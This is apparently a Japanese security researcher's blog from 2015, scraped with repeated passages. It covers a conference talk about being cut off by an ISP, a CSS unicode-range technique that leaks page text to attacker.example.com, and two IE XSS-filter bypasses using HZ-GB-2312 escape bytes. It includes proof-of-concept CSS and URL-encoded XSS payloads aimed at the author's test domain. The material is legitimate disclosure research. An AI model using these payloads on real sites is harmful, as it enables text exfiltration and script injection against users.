English version: http://mksben.l0.cm/2015/11/avtokyo2015.html
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2015年11月14日に行われたセキュリティカンファレンス、AVTOKYO2015で発表しました。
ご存知の方もいらっしゃるかと思いますが、2013年9月、脆弱性の検査がきかっけで、ISPに自宅のインターネットを止められるということがありました。発表では、このときの詳細をお話しました。資料は以下にあります。
聴いて頂いた皆様、ありがとうございました。発表後、聴いて頂いた方の意見を伺い、誰がどうしていればこのような問題が起きずに済んだのかといったことを議論したりもでき、とても有意義な時間を過ごすことができました。このような機会を頂きありがとうございました。
ちなみに昨年、「バグハンターの愉しみ」という発表もCODE BLUEで行っています。今回はその対となるタイトルとして、「バグハンターの哀しみ」と名付けました。「愉しみ」の資料も以下で公開しているので、よかったらご覧ください。
http://masatokinugawa.l0.cm/2015/07/codeblue.html
次回、「バグハンターの○○み」でお会いしましょう! (もうやりません!)
2015/11/21
2015/10/24
@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す
English version: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
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CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。
この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。
・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは
・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用
自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。
属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。
CSS - The Sexy Assassin
http://p42.us/css/
今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。
以下のようなページがあるとします。
このページにアクセスすると、ChromeとFirefox Nightlyでは、
これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分に
フォントを適用しようとしている部分である
この時点で既に、 attacker.example.com は、
もう少し、取得対象の文字を増やした例をみてみます。
以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html
開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。
見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。
この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)
フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。
JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。
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CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。
この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。
・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは
<style>の注入をブロックしない)・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用
自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。
CSS - The Sexy Assassin
http://p42.us/css/
今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。
以下のようなページがあるとします。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* これも取得される */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* 取得されない */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
このページにアクセスすると、ChromeとFirefox Nightlyでは、
http://attacker.example.com/?Aとhttp://attacker.example.com/?Bに対するリクエストが飛びます。一方、http://attacker.example.com/?Cに対するリクエストはとびません。これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分に
unicode-rangeの範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。フォントを適用しようとしている部分である
sensitive-informationのidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。この時点で既に、 attacker.example.com は、
sensitive-informationに "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。もう少し、取得対象の文字を増やした例をみてみます。
以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html
開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。
見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。
この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)
フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。
JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。
2015/09/29
ブラウザのXSS保護機能をバイパスする(7)
English version: http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html
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HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、
この手法はページの
以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
XSSフィルターは、
属性を区切る文字がくるところに
charsetが
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
ただし、
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、
http://l0.cm/xssfilter_hz_poc.html
次のようなコードから
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
これも通常なら、以下のように
http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。
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HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、
~[0x0A]と~{を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。この手法はページの
Content-Typeレスポンスヘッダで文字コードが指定されていない時限定で使えます。バイパス 1
以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
XSSフィルターは、
Content-Typeレスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)属性を区切る文字がくるところに
~[0x0A]を置くと遮断に失敗します。charsetが
Content-Typeレスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
ただし、
Content-Typeレスポンスヘッダでなくmetaタグだけでcharsetを指定した場合だとまだ動きます。http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
バイパス 2
以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、
click()が呼び出されることが確認できます。(※click()が呼び出される側はドキュメントモードが古くないとエラーになります。)http://l0.cm/xssfilter_hz_poc.html
次のようなコードから
click()が呼び出されています。http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>
これも通常なら、以下のように
";{valueOf:という文字列で遮断が起こるのですが、http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:
~{というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。valueOfの代わりにtoStringも使えます。http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>この2つの手法、まず
";~{valueOf:}//がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。
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